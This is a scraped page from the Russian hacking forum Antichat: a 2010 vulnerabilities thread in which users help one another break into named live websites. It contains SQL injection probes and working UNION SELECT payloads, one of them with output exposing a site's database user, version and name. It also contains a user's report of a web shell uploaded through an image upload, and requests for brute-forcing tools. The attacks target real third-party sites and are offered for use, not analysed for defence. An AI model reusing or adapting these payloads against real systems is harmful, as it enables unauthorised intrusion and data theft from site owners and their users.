ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #12681  
Старый 22.04.2010, 19:33
Аватар для 547
547
Участник форума
Регистрация: 11.10.2009
Сообщений: 116
Провел на форуме:
472147

Репутация: 211
По умолчанию

выложи сайт полностью, посмотрим что там,или там намечается инжекция на важном государственном или военном проекте?
P.S. вообще да, бывает такое что столбец один...
 
Ответить с цитированием

  #12682  
Старый 22.04.2010, 19:38
Аватар для InfectedM
InfectedM
Познающий
Регистрация: 04.11.2007
Сообщений: 51
Провел на форуме:
310791

Репутация: 6
Отправить сообщение для InfectedM с помощью ICQ
По умолчанию

http://www.procctv.ru/page.php?id=-1'
 
Ответить с цитированием

  #12683  
Старый 22.04.2010, 19:40
Аватар для Root-access
Root-access
Участник форума
Регистрация: 18.06.2008
Сообщений: 222
Провел на форуме:
2223440

Репутация: 648
Отправить сообщение для Root-access с помощью ICQ
По умолчанию

Цитата:
Сообщение от InfectedM  
PHP код:
http://www.qwerty.ru/page.php?id=-999' 
-> You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''-999''' at line 1
PHP код:
http://www.qwerty.ru/page.php?id=1 order by 50 
-> ошибка - :Unknown column '50' in 'order clause'
PHP код:
http://www.qwerty.ru/page.php?id=1 order by 2 
-> ошибка - :Unknown column '2' in 'order clause'
PHP код:
http://www.qwerty.ru/page.php?id=1 order by 1 
-> Грузится норм сайт...
Получается всего 1 столбец ? 0o
PHP код:
http://www.qwerty.ru/page.php?id=1'+union+select+0/* 
-> ошибка - :The used SELECT statements have a different number of columns
PHP код:
http://www.qwerty.ru/page.php?id=-1+union+select+0 */ 
--> You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '/ AND poz=1' at line 1


подскажите плз что можно сделать?

Э, там такого скрипта вообще нет.
 
Ответить с цитированием

  #12684  
Старый 22.04.2010, 19:44
Аватар для InfectedM
InfectedM
Познающий
Регистрация: 04.11.2007
Сообщений: 51
Провел на форуме:
310791

Репутация: 6
Отправить сообщение для InfectedM с помощью ICQ
По умолчанию

ссылку сменил по привычке -)
вот http://www.procctv.ru/page.php?id=-1'

И еще давно видел прогу,аналог Sipt ,только не такая замороченная . елси кто помнит как называется отпишите плиз)
 
Ответить с цитированием

  #12685  
Старый 22.04.2010, 19:47
Аватар для Ded MustD!e
Ded MustD!e
Members of Antichat - Level 5
Регистрация: 23.08.2007
Сообщений: 417
Провел на форуме:
14324684

Репутация: 3908
По умолчанию

Цитата:
Сообщение от InfectedM  
ссылку сменил по привычке -)
вот http://www.procctv.ru/page.php?id=-1'

И еще давно видел прогу,аналог Sipt ,только не такая замороченная . елси кто помнит как называется отпишите плиз)
http://www.procctv.ru/page.php?id=-1+union+select+1,concat_ws(0x3a,user(),version(),d atabase())--

procctv@localhost:5.0.45-log:cms
__________________
Feci, quod potui. Faciant meliora potentes.
 
Ответить с цитированием

  #12686  
Старый 22.04.2010, 19:52
Аватар для Redwood
Redwood
Участник форума
Регистрация: 10.09.2009
Сообщений: 120
Провел на форуме:
2212846

Репутация: 56
По умолчанию

Цитата:
Сообщение от InfectedM  
И еще давно видел прогу,аналог Sipt ,только не такая замороченная . елси кто помнит как называется отпишите плиз)
SQL helper v2.7 ? Их куча
 
Ответить с цитированием

  #12687  
Старый 22.04.2010, 21:02
Аватар для ALIM
ALIM
Новичок
Регистрация: 20.04.2010
Сообщений: 1
Провел на форуме:
4855

Репутация: 0
По умолчанию

Помогите докрутить скулю, нет печатного поля а все известные мне методы вывода слепых не выходят
http://www.hoyle.com/game.php?id=-26%20or%20(1=1)%20order%20by%2025%20--

Последний раз редактировалось ALIM; 22.04.2010 в 21:13..
 
Ответить с цитированием

  #12688  
Старый 22.04.2010, 21:07
Аватар для [Feldmarschall]
[Feldmarschall]
Участник форума
Регистрация: 06.01.2010
Сообщений: 136
Провел на форуме:
568388

Репутация: 87
По умолчанию

Цитата:
Сообщение от ALIM  
Помогите докрутить скулю, нет печатного поля а все известные мне методы вывода слепых не выходят
**********/?id=-26%20or%20(1=1)%20order%20by%2025%20--
Код:
http://*****/?id=-26%20UNION%20SELECT%201,version%28%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24--
version - 5.0.45

Последний раз редактировалось [Feldmarschall]; 22.04.2010 в 21:29..
 
Ответить с цитированием

  #12689  
Старый 22.04.2010, 21:41
Аватар для InfectedM
InfectedM
Познающий
Регистрация: 04.11.2007
Сообщений: 51
Провел на форуме:
310791

Репутация: 6
Отправить сообщение для InfectedM с помощью ICQ
По умолчанию

Подскажите плиз прогу для подбора каталогов ,аналог хед пельмешки ,только что бы не на перле
 
Ответить с цитированием

  #12690  
Старый 22.04.2010, 21:45
Аватар для GOGA075
GOGA075
Участник форума
Регистрация: 30.03.2008
Сообщений: 208
Провел на форуме:
869744

Репутация: 18
По умолчанию

Может кто подскажет, залил шел через картинку, и получилас ссылка типа
getimg.php?type=plandrawings&file=095244731.php

кто подскажет что можно сделать?

Поиск дирректорий типа images files и тому подобных ничего не дал!!!
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Форумы 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ